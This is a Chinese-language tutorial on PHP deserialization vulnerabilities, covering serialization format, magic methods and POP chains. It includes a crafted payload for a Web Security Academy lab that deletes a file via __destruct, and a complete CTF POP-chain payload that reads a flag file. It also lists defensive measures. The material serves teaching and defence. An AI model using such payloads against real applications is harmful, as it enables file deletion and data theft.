序列化与反序列化 | PHP反序列化漏洞
字数 2264 2025-08-11 22:57:16
PHP反序列化漏洞详解
一、序列化基础概念
1. 什么是序列化
序列化是将数据对象转换为具有一定格式的数据的过程,目的是为了方便存储和传输。在PHP中,序列化可以将对象、字符串、数组、变量等转换为特定格式的字符串。
2. PHP序列化函数
PHP中使用serialize()函数进行序列化:
string serialize ( mixed $value )
3. 序列化示例
class Deu {
public $name = "Deutsh";
private $age = 66;
protected $sex = "male";
public $domain = array("shtwo.top","www.shtwo.top");
public function say_hello() {
echo "hello";
}
}
$class = new Deu();
$serClass = serialize($class);
print_r($serClass);
输出结果:
O:3:"Deu":4:{s:4:"name";s:6:"Deutsh";s:8:"Deuage";i:66;s:6:"*sex";s:4:"male";s:6:"domain";a:2:{i:0;s:9:"shtwo.top";i:1;s:13:"www.shtwo.top";}}
4. 序列化数据结构解析
序列化字符串分为两大部分:
-
数据对象类型:数据名称长度:数据名称:对象个数
- 示例:
O:3:"Deu":4
- 示例:
-
对象属性结构(以
;分割)- 示例:
{s:4:"name";s:6:"Deutsh";...}
- 示例:
5. 不同数据类型的序列化结构
| 类型 | 结构 |
|---|---|
| String | s:size:value; |
| Integer | i:value; |
| Boolean | b:value; (保存1或0) |
| Null | N; |
| Array | a:size:{key;value;(repeated)} |
| Object | O:strlen(name):name:size:{properties} |
6. 访问控制符对序列化的影响
- public:序列化后没有变化
- protected:序列化为
%00*%00属性名(长度计算包含空字符) - private:序列化为
%00类名%00属性名(长度计算包含空字符)
二、反序列化基础
1. 反序列化函数
PHP中使用unserialize()函数进行反序列化:
mixed unserialize ( string $str )
2. 反序列化示例
$class_unser = unserialize($class_ser);
print_r($class_unser);
三、PHP魔法方法
1. 构造函数与析构函数
__construct():对象创建时调用__destruct():对象销毁时调用
2. 序列化相关魔法方法
__sleep():在serialize()前调用,可指定要序列化的属性__wakeup():在unserialize()后调用
3. 其他重要魔法方法
__toString():对象被当作字符串使用时调用__invoke():对象被当作函数调用时触发- 属性重载方法:
__get():读取不可访问属性时调用__set():写入不可访问属性时调用__isset():对不可访问属性调用isset()时__unset():对不可访问属性调用unset()时
四、PHP反序列化漏洞
1. 漏洞成因
反序列化漏洞的根本原因是unserialize()函数的参数可控,配合PHP魔法方法的自动调用机制,可能形成攻击链。
2. 常见利用点
__destruct():对象销毁时自动调用__wakeup():反序列化时自动调用
3. 漏洞利用示例(Web Security Academy案例)
目标:删除/home/Carlos/morale.txt文件
步骤:
- 发现网站使用序列化对象传递用户身份数据
- 找到
CustomTemplate.php~备份文件 - 分析其中的
__destruct()方法:
function __destruct() {
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
- 构造恶意序列化对象:
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
- 将序列化字符串Base64编码后替换Cookie中的session值
五、POP链构造
POP(Property-Oriented Programing)面向属性编程,类似于二进制中的ROP,通过构造特定调用链实现攻击。
1. 2021强网杯-赌徒题目分析
目标:读取flag文件
源码关键点:
Room::Get_hint()可以读取文件Room::__invoke()调用了Get_hint()Room::__get()中将对象作为函数调用Info::__toString()中访问不存在属性触发__get()Start::_sayhello()中echo触发__toString()Start::__wakeup()调用_sayhello()
POP链构造:
- 反序列化触发
__wakeup() __wakeup()调用_sayhello()_sayhello()中echo$this->name(设为Info对象)触发__toString()__toString()中访问不存在属性触发__get()__get()中将Room对象作为函数调用触发__invoke()__invoke()调用Get_hint()读取flag
构造的payload:
O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:6:"./flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:6:"./flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}
六、防御措施
- 不要反序列化不可信数据
- 使用签名验证序列化数据的完整性
- 限制反序列化类白名单
- 对魔法方法进行安全审查
- 使用替代方案如JSON进行数据交换
七、总结
PHP反序列化漏洞的核心在于:
unserialize()参数可控- 魔法方法的自动调用机制
- 通过POP链构造实现攻击
理解序列化格式、熟悉魔法方法调用时机、掌握POP链构造方法是分析和防御此类漏洞的关键。